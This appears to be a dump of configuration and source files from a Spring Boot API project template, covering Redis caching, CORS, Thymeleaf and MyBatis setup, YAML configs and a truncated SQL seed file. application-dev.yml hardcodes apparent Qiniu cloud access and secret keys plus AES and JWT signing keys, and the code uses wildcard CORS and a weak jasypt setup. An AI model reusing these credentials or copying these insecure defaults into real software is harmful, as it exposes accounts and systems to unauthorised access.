redisTemplate;\n\t}\n\n\t@Bean(name = \"redisCacheManager\")\n\tpublic RedisCacheManager redisCacheManager(RedisConnectionFactory redisConnectionFactory) {\n\t\t\n\t\t// 初始化一个RedisCacheWriter\n\t\tRedisCacheWriter redisCacheWriter = RedisCacheWriter.nonLockingRedisCacheWriter(redisConnectionFactory);\n\t\t// 设置CacheManager的值序列化方式为json序列化\n\t\tRedisSerializer<Object> jsonSerializer = new GenericJackson2JsonRedisSerializer();\n\t\tRedisSerializationContext.SerializationPair<Object> pair = RedisSerializationContext.SerializationPair\n\t\t\t\t.fromSerializer(jsonSerializer);\n\t\tRedisCacheConfiguration config = RedisCacheConfiguration.defaultCacheConfig().serializeValuesWith(pair);\n\t\tconfig.entryTtl(Duration.ofSeconds(60*2)).disableCachingNullValues();// 不缓存空值\n//\t\t// 初始化RedisCacheManager\n\t\treturn new RedisCacheManager(redisCacheWriter, config, getRedisCacheConfigurationMap());\n\t}\n\t\n\n    private Map<String, RedisCacheConfiguration> getRedisCacheConfigurationMap() {\n        Map<String, RedisCacheConfiguration> redisCacheConfigurationMap = new HashMap<>();\n        redisCacheConfigurationMap.put(\"messagCache\", this.getRedisCacheConfigurationWithTtl(30 * 60));   \n        //自定义设置缓存时间\n        redisCacheConfigurationMap.put(\"userCache\", this.getRedisCacheConfigurationWithTtl(60));\n        redisCacheConfigurationMap.put(\"cache4h\", this.getRedisCacheConfigurationWithTtl(60*60*4));\n        redisCacheConfigurationMap.put(\"cache5m\", this.getRedisCacheConfigurationWithTtl(60*2));\n        redisCacheConfigurationMap.put(\"cache2m\", this.getRedisCacheConfigurationWithTtl(60*2));\n        redisCacheConfigurationMap.put(\"cache1m\", this.getRedisCacheConfigurationWithTtl(60));\n        \n        return redisCacheConfigurationMap;\n    }\n \n    private RedisCacheConfiguration getRedisCacheConfigurationWithTtl(Integer seconds) {\n//    \tRedisCacheWriter redisCacheWriter = RedisCacheWriter.nonLockingRedisCacheWriter(factory);\n\t\t// 设置CacheManager的值序列化方式为json序列化\n\t\tRedisSerializer<Object> jsonSerializer = new GenericJackson2JsonRedisSerializer();\n\t\tRedisSerializationContext.SerializationPair<Object> pair = RedisSerializationContext.SerializationPair\n\t\t\t\t.fromSerializer(jsonSerializer);\n\t\tRedisCacheConfiguration redisCacheConfiguration = RedisCacheConfiguration.defaultCacheConfig().serializeValuesWith(pair);\n        redisCacheConfiguration = redisCacheConfiguration.serializeValuesWith(\n                RedisSerializationContext\n                        .SerializationPair\n                        .fromSerializer(jsonSerializer)\n        ).entryTtl(Duration.ofSeconds(seconds));\n        return redisCacheConfiguration;\n    } \n\t \n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/java/com/jun/plugin/project/config/ResourcesConfig2.java",
    "content": "package com.jun.plugin.project.config;\n\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.web.servlet.config.annotation.CorsRegistry;\nimport org.springframework.web.servlet.config.annotation.InterceptorRegistry;\nimport org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;\nimport org.springframework.web.servlet.config.annotation.ViewControllerRegistry;\nimport org.springframework.web.servlet.config.annotation.WebMvcConfigurer;\n\n/**\n * 通用配置\n *\n */\n@Configuration\n//@EnableConfigurationProperties(FileUploadProperties.class)\npublic class ResourcesConfig2 implements WebMvcConfigurer {\n\n//  @Resource\n//  private FileUploadProperties fileUploadProperties;\n    /**\n     * 首页地址\n     */\n//    @Value(\"${shiro.user.indexUrl}\")\n//    private String indexUrl;\n\n//    @Autowired\n//    private RepeatSubmitInterceptor repeatSubmitInterceptor;\n\n    @Override\n    public void addCorsMappings(CorsRegistry registry) {\n        WebMvcConfigurer.super.addCorsMappings(registry);\n        registry.addMapping(\"/**\").allowedHeaders(\"*\").allowedMethods(\"POST\", \"GET\", \"PUT\", \"DELETE\")\n                .allowedOrigins(\"*\");\n    }\n\n    /**\n     * 默认首页的设置，当输入域名是可以自动跳转到默认指定的网页\n     */\n    @Override\n    public void addViewControllers(ViewControllerRegistry registry) {\n//\t\tregistry.addViewController(\"/\").setViewName(\"forward:\" + indexUrl);\n        registry.addViewController(\"/\").setViewName(\"forward:\" + \"login.html\");\n    }\n\n    /**\n     * 发现如果继承了WebMvcConfigurationSupport，则在yml中配置的相关内容会失效。 需要重新指定静态资源\n     */\n\n    @Override\n    public void addResourceHandlers(ResourceHandlerRegistry registry) {\n        /** 本地文件上传路径 */\n//        registry.addResourceHandler(Constants.RESOURCE_PREFIX + \"/**\").addResourceLocations(\"file:\" + Global.getProfile() + \"/\");\n\n        registry.addResourceHandler(\"/**\").addResourceLocations(\"classpath:/static/\",\"classpath:/templates/\",\"classpath:/templates2/\",\"classpath:/views/\");\n//\t\tregistry.addResourceHandler(\"/**\").addResourceLocations(\"classpath:/templates/\");\n        registry.addResourceHandler(\"doc.html\").addResourceLocations(\"classpath:/META-INF/resources/\");\n        registry.addResourceHandler(\"/webjars/**\").addResourceLocations(\"classpath:/META-INF/resources/webjars/\");\n\n        /** swagger配置 */\n        registry.addResourceHandler(\"swagger-ui.html\").addResourceLocations(\"classpath:/META-INF/resources/\");\n        registry.addResourceHandler(\"/webjars/**\").addResourceLocations(\"classpath:/META-INF/resources/webjars/\");\n        /** 文件下载映射配置,同下 */\n//        registry.addResourceHandler(fileUploadProperties.getAccessUrl()).addResourceLocations(\"file:\" + fileUploadProperties.getPath());\n    }\n\n    /**\n     * @description: 访问静态文件\n     * @date: 2021/4/15\n     */\n//\t@Override\n//\tpublic void addResourceHandlers(ResourceHandlerRegistry registry) {\n//\t\tlog.debug(\"System.getProperty(\\\"user.dir\\\")\");\n//\t\t// 访问路径\n//\t\tregistry.addResourceHandler(\"/api/upload/**\")\n//\t\t\t\t// 映射真实路径\n//\t\t\t\t.addResourceLocations(\"file:\" + System.getProperty(\"user.dir\") + \"/\");// 必须加\"/\"，不然映射不到\n//\t}\n\n    /**\n     * 自定义拦截规则\n     */\n    @Override\n    public void addInterceptors(InterceptorRegistry registry) {\n//        registry.addInterceptor(repeatSubmitInterceptor).addPathPatterns(\"/**\");\n    }\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/java/com/jun/plugin/project/config/SwaggerConfiguration2.java",
    "content": "package com.jun.plugin.project.config;\n\nimport com.github.xiaoymin.knife4j.spring.annotations.EnableKnife4j;\nimport com.google.common.base.Predicates;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Import;\nimport springfox.bean.validators.configuration.BeanValidatorPluginsConfiguration;\nimport springfox.documentation.builders.ApiInfoBuilder;\nimport springfox.documentation.builders.PathSelectors;\nimport springfox.documentation.builders.RequestHandlerSelectors;\nimport springfox.documentation.service.ApiInfo;\nimport springfox.documentation.spi.DocumentationType;\nimport springfox.documentation.spring.web.plugins.Docket;\nimport springfox.documentation.swagger2.annotations.EnableSwagger2;\n\n\n/**\n * SwaggerConfiguration\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\n@Configuration\n@EnableSwagger2\n@EnableKnife4j\n@Import(BeanValidatorPluginsConfiguration.class)\npublic class SwaggerConfiguration2 {\n\n    @Bean\n    public Docket createRestApi() {\n        return new Docket(DocumentationType.SWAGGER_2)\n                .apiInfo(apiInfo())\n                .select()\n                .apis(Predicates.or(RequestHandlerSelectors.basePackage(\"com.jun.plugin.system.controller\"),\n                \t\tRequestHandlerSelectors.basePackage(\"com.jun.plugin.bizservice.controller\")))\n                .paths(PathSelectors.any())\n                .build();\n    }\n\n    private ApiInfo apiInfo() {\n        return new ApiInfoBuilder()\n                .title(\"Springboot-api APIs\")\n                .description(\"Springboot-api APIs\")\n                .termsOfServiceUrl(\"http://localhost:8080/\")\n                .version(\"1.0\")\n                .build();\n    }\n}"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/java/com/jun/plugin/project/config/ThymeleafConfigration2.java",
    "content": "package com.jun.plugin.project.config;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.util.ResourceUtils;\nimport org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver;\nimport org.thymeleaf.templatemode.TemplateMode;\nimport org.thymeleaf.templateresolver.ClassLoaderTemplateResolver;\n\n@Configuration\npublic class ThymeleafConfigration2 {\n\n    @Bean\n    public SpringResourceTemplateResolver firstTemplateResolver() {\n        SpringResourceTemplateResolver templateResolver = new SpringResourceTemplateResolver();\n        //templateResolver.setPrefix(\"classpath:/templates/\");\n\n        File path = null;\n        try {\n            path = new File(ResourceUtils.getURL(\"classpath:\").getPath());\n            //file:/data/github/testmanagement/target/testmanagement-0.0.1-SNAPSHOT.jar!/BOOT-INF/classes!\n            System.out.println(path.getPath());\n        } catch (FileNotFoundException e) {\n            e.printStackTrace();\n        }\n        //server.tomcat.basedir=outsidefile/jacococoverage\n        String outside_templates=path.getParentFile().getParentFile().getParent()+File.separator;\n        //String outside_templates=path.getParentFile().getParentFile().getParent()+File.separator+\"outsidefile\"+File.separator+\"jacococoverage\"+File.separator;\n\n        System.out.println(outside_templates);\n        outside_templates=outside_templates.substring(5,outside_templates.length());\n        //file:/data/github/testmanagement/target/outsidefile/jacococoverage/\n\n        System.out.println(\"new outside_templates is \"+outside_templates);\n        templateResolver.setPrefix(\"file://\"+outside_templates);\n\n        templateResolver.setSuffix(\".html\");\n        templateResolver.setTemplateMode(TemplateMode.HTML);\n        templateResolver.setCharacterEncoding(\"UTF-8\");\n        templateResolver.setOrder(0);\n        templateResolver.setCheckExistence(true);\n        //Spring Boot中Thymeleaf引擎动态刷新\n        templateResolver.setCacheable(false);\n        return templateResolver;\n    }\n\n//    @Bean\n//    public ClassLoaderTemplateResolver secondaryTemplateResolver() {\n//        ClassLoaderTemplateResolver secondaryTemplateResolver = new ClassLoaderTemplateResolver();\n//        secondaryTemplateResolver.setPrefix(\"templates2/\");\n//        secondaryTemplateResolver.setSuffix(\".html\");\n//        secondaryTemplateResolver.setTemplateMode(TemplateMode.HTML);\n//        secondaryTemplateResolver.setCharacterEncoding(\"UTF-8\");\n//        secondaryTemplateResolver.setOrder(1);\n//        secondaryTemplateResolver.setCacheable(false);\n//        secondaryTemplateResolver.setCheckExistence(true);\n//        return secondaryTemplateResolver;\n//    }\n    @Bean\n    public ClassLoaderTemplateResolver secondaryTemplateResolver3() {\n        ClassLoaderTemplateResolver secondaryTemplateResolver = new ClassLoaderTemplateResolver();\n        secondaryTemplateResolver.setPrefix(\"templates3/\");\n        secondaryTemplateResolver.setSuffix(\".html\");\n        secondaryTemplateResolver.setTemplateMode(TemplateMode.HTML);\n        secondaryTemplateResolver.setCharacterEncoding(\"UTF-8\");\n        secondaryTemplateResolver.setOrder(1);\n        secondaryTemplateResolver.setCacheable(false);\n        secondaryTemplateResolver.setCheckExistence(true);\n        return secondaryTemplateResolver;\n    }\n}"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/java/com/jun/plugin/project/config/WebMvcConfig.java",
    "content": "package com.jun.plugin.project.config;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.web.servlet.config.annotation.*;\nimport org.springframework.web.servlet.view.InternalResourceViewResolver;\n\nimport javax.servlet.http.HttpServletRequest;\n\n/**\n * 通用配置\n * \n */\n@Configuration\n//@EnableConfigurationProperties(FileUploadProperties.class)\npublic class WebMvcConfig extends WebMvcConfigurationSupport/* implements WebMvcConfigurer*/ {\n\t\n//  @Resource\n//  private FileUploadProperties fileUploadProperties;\n\t/**\n\t * 首页地址\n\t */\n//    @Value(\"${shiro.user.indexUrl}\")\n//    private String indexUrl;\n\n\n\t@Override\n\tpublic void addCorsMappings(CorsRegistry registry) {\n\t\tsuper.addCorsMappings(registry);\n\t\tregistry.addMapping(\"/**\").allowedHeaders(\"*\").allowedMethods(\"POST\", \"GET\", \"PUT\", \"DELETE\")\n\t\t\t\t.allowedOrigins(\"*\");\n\t}\n\n\t/**\n\t * 默认首页的设置，当输入域名是可以自动跳转到默认指定的网页\n\t */\n\t@Override\n\tpublic void addViewControllers(ViewControllerRegistry registry) {\n//\t\tregistry.addViewController(\"/\").setViewName(\"forward:\" + indexUrl);\n\t\tregistry.addViewController(\"/\").setViewName(\"forward:\" + \"login.html\");\n\t}\n\n\n\t/**\n\t * @description: 访问静态文件,发现如果继承了WebMvcConfigurationSupport，则在yml中配置的相关内容会失效。 需要重新指定静态资源\n\t * @date: 2021/4/15\n\t */\n\t@Override\n\tpublic void addResourceHandlers(ResourceHandlerRegistry registry) {\n\t\t/** 本地文件上传路径 */\n//        registry.addResourceHandler(Constants.RESOURCE_PREFIX + \"/**\").addResourceLocations(\"file:\" + Global.getProfile() + \"/\");\n\n\t\tregistry.addResourceHandler(\"/**\").addResourceLocations(\"classpath:/static/\",\"classpath:/static2/\",\"classpath:/static3/\",\"classpath:/templates/\",\"classpath:/templates3/\",\"classpath:/views/\");\n//\t\tregistry.addResourceHandler(\"/**\").addResourceLocations(\"classpath:/templates/\");\n\t\tregistry.addResourceHandler(\"/static/**\").addResourceLocations(\"classpath:/static/\",\"classpath:/static2/\",\"classpath:/static3/\");\n\t\tregistry.addResourceHandler(\"doc.html\").addResourceLocations(\"classpath:/META-INF/resources/\");\n\t\tregistry.addResourceHandler(\"/webjars/**\").addResourceLocations(\"classpath:/META-INF/resources/webjars/\");\n\n\t\t/** swagger配置 */\n\t\tregistry.addResourceHandler(\"swagger-ui.html\").addResourceLocations(\"classpath:/META-INF/resources/\");\n\t\tregistry.addResourceHandler(\"/webjars/**\").addResourceLocations(\"classpath:/META-INF/resources/webjars/\");\n\t\t/** 文件下载映射配置,同下 */\n//        registry.addResourceHandler(fileUploadProperties.getAccessUrl()).addResourceLocations(\"file:\" + fileUploadProperties.getPath());\n\t}\n\n\n\t/**\n\t * 自定义拦截规则\n\t */\n\t@Override\n\tpublic void addInterceptors(InterceptorRegistry registry) {\n//        registry.addInterceptor(new RepeatSubmitInterceptor() {\n//\t\t\t\t\t@Override\n//\t\t\t\t\tpublic boolean isRepeatSubmit(HttpServletRequest request) {\n//\t\t\t\t\t\treturn false;\n//\t\t\t\t\t}\n//\t\t\t\t}).addPathPatterns(\"/**\")\n//\t\t\t\t.excludePathPatterns(\"/emp/toLogin\",\"/emp/login\",\"/js/**\",\"/css/**\",\"/images/**\");\n\t}\n\n\t/**\n\t * 配置请求视图映射\n\t * @return\n\t */\n\t@Bean\n\tpublic InternalResourceViewResolver resourceViewResolver()\n\t{\n\t\tInternalResourceViewResolver internalResourceViewResolver = new InternalResourceViewResolver();\n\t\t//请求视图文件的前缀地址\n\t\tinternalResourceViewResolver.setPrefix(\"/WEB-INF/jsp/\");\n\t\t//请求视图文件的后缀\n\t\tinternalResourceViewResolver.setSuffix(\".jsp\");\n\t\treturn internalResourceViewResolver;\n\t}\n\n\t/**\n\t * 视图配置\n\t * @param registry\n\t */\n\t@Override\n\tpublic void configureViewResolvers(ViewResolverRegistry registry) {\n\t\tsuper.configureViewResolvers(registry);\n\t\tregistry.viewResolver(resourceViewResolver());\n\t\t/*registry.jsp(\"/WEB-INF/jsp/\",\".jsp\");*/\n\t}\n\n\n}"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/java/com/jun/plugin/project/config/interceptor/MyInterceptor2.java",
    "content": "package com.jun.plugin.project.config.interceptor;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.servlet.HandlerInterceptor;\nimport org.springframework.web.servlet.ModelAndView;\n\n/**\n * @createTime 2021年02月01日 14:00:00\n */\n@Component\npublic class MyInterceptor2 implements HandlerInterceptor {\n    private static final Logger logger = LoggerFactory.getLogger(MyInterceptor2.class);\n    @Override\n    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {\n       logger.info(\"------------------ preHandle\");\n       request.setAttribute(\"startTime\",System.currentTimeMillis());\n        return true;\n    }\n\n\n    @Override\n    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) {\n        logger.info(\"------------------ postHandle\");\n        long startTime = (long) request.getAttribute(\"startTime\");\n        request.removeAttribute(\"startTime\");\n        logger.info(\"请求处理时间： \" + (System.currentTimeMillis() - startTime) + \"毫秒\");\n    }\n\n    @Override\n    public void afterCompletion(HttpServletRequest request, HttpServletResponse response,\n                                Object handler, Exception ex) {\n        logger.info(\"------------------ after\");\n    }\n}"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/java/com/jun/plugin/project/config/interceptor/MybatisExecutor2.java",
    "content": "package com.jun.plugin.project.config.interceptor;\n\n//import com.fen.dou.entity.BaseEntity;\n//import com.fen.dou.entity.User;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.ibatis.executor.Executor;\nimport org.apache.ibatis.mapping.MappedStatement;\nimport org.apache.ibatis.mapping.SqlCommandType;\nimport org.apache.ibatis.plugin.*;\nimport org.springframework.stereotype.Component;\n\n\nimport java.util.Map;\nimport java.util.Properties;\n\n@Slf4j\n@Intercepts({ @Signature(type = Executor.class, method = \"update\", args = { MappedStatement.class, Object.class }) })\n@Component\npublic class MybatisExecutor2 implements Interceptor {\n\t@Override\n\t@SuppressWarnings(\"unchecked\")\n\tpublic Object intercept(Invocation invocation) throws Throwable {\n\t\t// 根据签名指定的args顺序获取具体的实现类\n\t\t// 1. 获取MappedStatement实例, 并获取当前SQL命令类型\n\t\tMappedStatement ms = (MappedStatement) invocation.getArgs()[0];\n\t\tSqlCommandType commandType = ms.getSqlCommandType();\n\n\t\t// 2. 获取当前正在被操作的类, 有可能是Java Bean, 也可能是普通的操作对象, 比如普通的参数传递\n\t\t// 普通参数, 即是 @Param 包装或者原始 Map 对象, 普通参数会被 Mybatis 包装成 Map 对象\n\t\t// 即是 org.apache.ibatis.binding.MapperMethod$ParamMap\n\t\tObject parameter = invocation.getArgs()[1];\n\t\t// 获取拦截器指定的方法类型, 通常需要拦截 update\n\t\tString methodName = invocation.getMethod().getName();\n\t\tlog.info(\"NormalPlugin, methodName; {}, commandType: {}\", methodName, commandType);\n\n\t\t// 3. 获取当前用户信息\n//        User user = new User(1,\"yangcai\",\"sssss\");\n\t\t// 默认测试参数值\n\t\tint creator = 2, updater = 3;\n\n\t\t// 5. @Param 等包装类\n\t\t// 更新时指定某些字段的最新数据值\n\t\tif (parameter instanceof Map && commandType.equals(SqlCommandType.UPDATE)) {\n\t\t\t// 遍历参数类型, 检查目标参数值是否存在对象中, 该方式需要应用编写有一些统一的规范\n\t\t\t// 否则均统一为实体对象, 就免去该重复操作\n\t\t\tMap map = (Map) parameter;\n\t\t\tif (map.containsKey(\"creator\")) {\n\t\t\t\tmap.put(\"creator\", creator);\n\t\t\t}\n\t\t\tif (map.containsKey(\"updateTime\")) {\n\t\t\t\tmap.put(\"updateTime\", System.currentTimeMillis());\n\t\t\t}\n\t\t}\n\t\t// 6. 均不是需要被拦截的类型, 不做操作\n\t\treturn invocation.proceed();\n\t}\n\n\t@Override\n\tpublic Object plugin(Object target) {\n\t\treturn Plugin.wrap(target, this);\n\t}\n\n\t@Override\n\tpublic void setProperties(Properties properties) {\n\t}\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/application-dev.yml",
    "content": "# 开发环境配置\nspring:\n  thymeleaf:\n    cache: false\n  datasource:\n      url: jdbc:mysql://localhost:3306/db_test?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8&zeroDateTimeBehavior=convertToNull\n      username: root\n      password:\n#      username: ENC(i9EHZ6vsnfpTeKGvHmH+fA==)\n#      password: ENC(KX2tfUq8cZG3IXeAwZgk5w==)\n      driver-class-name: com.mysql.cj.jdbc.Driver\n  redis:\n    host: localhost # Redis服务器地址\n    database: 0 # Redis数据库索引（默认为0）\n    port: 6379 # Redis服务器连接端口\n    password:  # Redis服务器连接密码（默认为空）\n    jedis:\n      pool:\n        max-active: 8 # 连接池最大连接数（使用负值表示没有限制）\n        max-wait: -1 # 连接池最大阻塞等待时间（使用负值表示没有限制）\n        max-idle: 8 # 连接池中的最大空闲连接\n        min-idle: 0 # 连接池中的最小空闲连接\n    timeout: 13000 # 连接超时时间（毫秒\nfilepath: \"D:\\\\files\\\\\"\nfile:\n  #文件上传目录 绝对路径 末尾请加 /\n  path: D:/files/ #windows\n  #path: /home/data/files/ #linux\n  #文件预览、下载的url, 末尾请勿加 /\n  url: http://qiniu.hbqxcpa.cn/files\n  qiniuAccessKey: ts0n9OF16ekFkDkZTTlpmyPI-tP3HKQDyw_GR4o2\n  qiniuBucketName: qixing-files\n  qiniuDomain: http://qiniu.hbqxcpa.cn\n  qiniuPrefix: upload\n  qiniuSecretKey: c-OjjwV3ZgzCQwxc6W_bsTFKuDg8qeyqohyJU0RL\n  type: 1\n  \n\n# AES密码加密私钥(Base64加密)\nencryptAESKey: V2FuZzkyNjQ1NGRTQkFQSUpXVA==\n# JWT认证加密私钥(Base64加密)\nencryptJWTKey: U0JBUElKV1RkV2FuZzkyNjQ1NA==\n# AccessToken过期时间-5分钟-5*60(秒为单位)\naccessTokenExpireTime: 300\n# RefreshToken过期时间-30分钟-30*60(秒为单位)\nrefreshTokenExpireTime: 1800\n# Shiro缓存过期时间-5分钟-5*60(秒为单位)(一般设置与AccessToken过期时间一致)\nshiroCacheExpireTime: 300\n\nknife4j:\n  production: true #生成环境禁用查看文档"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/application.yml",
    "content": "# 端口\nserver:\n  port: 9081\n  compression:\n    enabled: true\n    min-response-size: 1KB\n    mime-types: application/json,application/xml,text/html,text/xml,text/plain,application/javascript,text/css\n  max-http-header-size: 102400\n  tomcat:\n    uri-encoding: UTF-8\n  servlet:\n    encoding:\n      charset: UTF-8\n      force: true\n      enabled: true\n  \nspring:\n  profiles:\n    active: dev\n#    active: prod\n  mvc:\n    throw-exception-if-no-handler-found: true\n#    static-path-pattern: /static/**\n  resources:\n    add-mappings: false\n  main:\n    allow-bean-definition-overriding: true\n    allow-circular-references: true\n  application:\n    name: jun-springboot-admin-layui\n  jackson:\n    date-format: yyyy-MM-dd HH:mm:ss\n    time-zone: GMT+8\n  # 文件大小限制\n  servlet:\n    multipart:\n      max-file-size: 100MB\n      max-request-size: 100MB\n  # redis token信息\n  redis:\n    key:\n      prefix:\n        userToken: \"user:token:\"\n        passwordError: \"user:password:error:\"\n        permissionRefresh: \"user:token:permissionRefresh:\"\n      expire:\n        #userToken: 604800 # 7天 1*24*3600\n        userToken: 86400 # 1天 1*24*3600\n        passwordError: 3600 # 一个小时\n        #permissionRefresh: 604800 # 7天 7*24*3600\n        permissionRefresh: 86400 # 1天 1*24*3600\n    allowMultipleLogin: true # 允许多处登陆\n\nmybatis-plus:\n  configuration:\n    log-impl: org.apache.ibatis.logging.stdout.StdOutImpl\n    cache-enabled: false\n  mapper-locations: classpath:mapper/${project.database}/**/*.xml,classpath:mapper/*.xml\n  type-aliases-package: org.snaker.engine.entity\n  global-config:\n    db-config:\n      logic-delete-value: 0\n      logic-not-delete-value: 1\n      logic-delete-field: deleted\n\n#使用代码生成模块时 指定要生成的表存在于哪种数据库，可选值有【mysql、oracle、sqlServer】\nproject:\n  database: mysql\n  datasource:\n    url: ${spring.datasource.url}\n    driver: ${spring.datasource.driver-class-name}\n    username: ${spring.datasource.username}\n    password:\n  groovy-api:\n    enable: true\n    servicename: jun-engine-api\n    context: /api\n    datasource:\n      dbtype: ${project.database}\n      url: ${spring.datasource.url}\n      username: ${spring.datasource.username}\n      driver: ${spring.datasource.driver-class-name}\n      password:\n      api_config: api_config\n\njasypt:\n  algorithm: PBEWithMD5AndDES\n  encryptor:\n    password: 123456@@\n\nshiro:\n  enable: true\n\n# 防止XSS攻击\nxss: \n  # 过滤开关\n  enabled: true\n  # 排除链接（多个用逗号分隔）\n  excludes: \n  # 匹配链接\n  urlPatterns: /system/*,/tool/*\n# 工作流参数定义\nworkflows:\n  list:\n    - processName: leave\n      flowName: 请假流程\n      pageURl: oapomsworkmarksleave/list\n      tname: oa_poms_workmarks_leave\n      taskName: 的请假流程\n    - processName: project\n      flowName: 立项流程\n      pageURl: pjProject/list\n      tname: pj_project\n      taskName: 的立项流程\n    - processName: contract\n      flowName: 业务约定书流程\n      pageURl: pjContract/list\n      tname: pj_contract\n      taskName: 的合同审批流程\n    - processName: plan\n      flowName: 项目计划流程\n      pageURl: pjProjectPlan/list\n      tname: pj_project_plan\n      taskName: 的项目计划流程\n    - processName: daily\n      flowName: 日报审批流程\n      pageURl: pjProjectDaily/list\n      tname: pj_project_daily\n      taskName: 的日报流程\n    - processName: draft\n      flowName: 底稿审批流程\n      pageURl: pjProjectDraft/list\n      tname: pj_project_draft\n      taskName: 的底稿\n    - processName: recheck\n      flowName: 复核审批流程\n      pageURl: pjProjectReport/list\n      tname: pj_project_report\n      taskName: 的复核\n    - processName: member\n      flowName: 成员结算审批流程\n      pageURl: pjProjectMember/list\n      tname: pj_project_member\n      taskName: 的成员结算\n    - processName: invoice\n      flowName: 开票审批流程\n      pageURl: pjProjectInvoice/list\n      tname: pj_project_invoice\n      taskName: 的开票申请\n    - processName: borrow\n      flowName: 项目借阅审批流程\n      pageURl: pjProjectBorrow/list\n      tname: pj_project_borrow\n      taskName: 的项目借阅\n    - processName: office\n      flowName: 办公用品领用审批流程\n      pageURl: oaOfficeCount/list\n      tname: oa_office_count\n      taskName: 的领用申购\n    - processName: office2\n      flowName: 办公用品申购审批流程\n      pageURl: oaOfficeCount2/list\n      tname: oa_office_count2\n      taskName: 的领用申购\n    - processName: outsite\n      flowName: 外出审批流程\n      pageURl: oaPomsWorkmarksOutsite/list\n      tname: oa_poms_workmarks_outsite\n      taskName: 的外出申请\n    - processName: expense\n      flowName: 报销审批流程\n      pageURl: oaPomsWorkmarksClaimExpense/list\n      tname: oa_poms_workmarks_claim_expense\n      taskName: 的报销申请\n    - processName: hire\n      flowName: 录用审批流程\n      pageURl: hrUserHire/list\n      tname: hr_user_hire\n      taskName: 的录用申请电子流\n    - processName: hire\n      flowName: 录用审批流程\n      pageURl: hrUserHire/list\n      tname: hr_user_hire\n      taskName: 的录用申请电子流\n    - processName: becomemember\n      flowName: 转正审批流程\n      pageURl: hrUserBecomeMember/list\n      tname: hr_user_become_member\n      taskName: 的转正申请电子流\n    - processName: dimission\n      flowName: 离职审批流程\n      pageURl: hrUserDimission/list\n      tname: hr_user_dimission\n      taskName: 的离职申请电子流\n    - processName: assessment\n      flowName: 考核电子流\n      pageURl: hrAssessmentUserRecord/list\n      tname: hr_assessment_user_record\n      taskName: 的考核电子流\n    - processName: customer\n      flowName: 客户审批电子流\n      pageURl: pjCustomer/list\n      tname: pj_customer\n      taskName: 的客户审批电子流\n    - processName: your_name\n      pageURl: your_id"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/config.properties",
    "content": "################################################# step1 for modify datasource\njdbc.url=jdbc:mysql://localhost:3306/code_generator?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\njdbc.username=root\njdbc.password=\njdbc.driver=com.mysql.cj.jdbc.Driver\n#mysql  5.7  com.mysql.jdbc.Driver  ,mysql 8.0  com.mysql.cj.jdbc.Driver\n\n################################################# step2 for modify author  package project_path\nauthorName=Wujun\npackageName=com.bjc.lcp.app1222\nproject_path=D:/workspace/github/jun_springboot_api_service/jun_api_service_api_rest/main\n#className=${className}Controller.subfix.ftl\n#jsp namespace: web/${namespace}/${className}/list.jsp\ntemplate_path=src/main/resources/templates\njavaPath=src/main/java\nresourcesPath=src/main/resources\ntableRemovePrefixes=T_AR,T_BD,T_CD,T_PD,T_CL,T_IP,T_LO,T_RI,T_EV,T_,\nrowRemovePrefixes=S_,B_,I_,DT_,TS_,M_,F_,PK_I_N,PK_I_S\n\n#################################################\nisLombok=true\nisAutoImport=true\nisWithPackage=true\nisSwagger=true\nisComment=true\n\n#################################################\n\njava.sql.Timestamp=Date\njava.sql.Date=Date\njava.sql.Time=Date\njava.util.Date=Date\njava.lang.Byte=Integer\njava.lang.Short=Integer\njava.lang.Integer=Integer\njava.lang.Long=Long\njava.lang.String=String\njava.math.BigDecimal=java.math.BigDecimal"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/files/tree.sql",
    "content": "--  省市区域字符串连接拼接测试\ncreate  table    t_tree(id  varchar(3)  ,  pid  varchar(3)  ,  name  varchar(10));\ninsert  into    t_tree  values('002'  ,  0  ,  '浙江省');\ninsert  into    t_tree  values('001'  ,  0  ,  '广东省');\ninsert  into    t_tree  values('003'  ,  '002'  ,  '衢州市');\ninsert  into    t_tree  values('004'  ,  '002'  ,  '杭州市')  ;\ninsert  into    t_tree  values('005'  ,  '002'  ,  '湖州市');\ninsert  into    t_tree  values('006'  ,  '002'  ,  '嘉兴市')  ;\ninsert  into    t_tree  values('007'  ,  '002'  ,  '宁波市');\ninsert  into    t_tree  values('008'  ,  '002'  ,  '绍兴市')  ;\ninsert  into    t_tree  values('009'  ,  '002'  ,  '台州市');\ninsert  into    t_tree  values('010'  ,  '002'  ,  '温州市')  ;\ninsert  into    t_tree  values('011'  ,  '002'  ,  '丽水市');\ninsert  into    t_tree  values('012'  ,  '002'  ,  '金华市')  ;\ninsert  into    t_tree  values('013'  ,  '002'  ,  '舟山市');\ninsert  into    t_tree  values('014'  ,  '004'  ,  '上城区')  ;\ninsert  into    t_tree  values('015'  ,  '004'  ,  '下城区');\ninsert  into    t_tree  values('016'  ,  '004'  ,  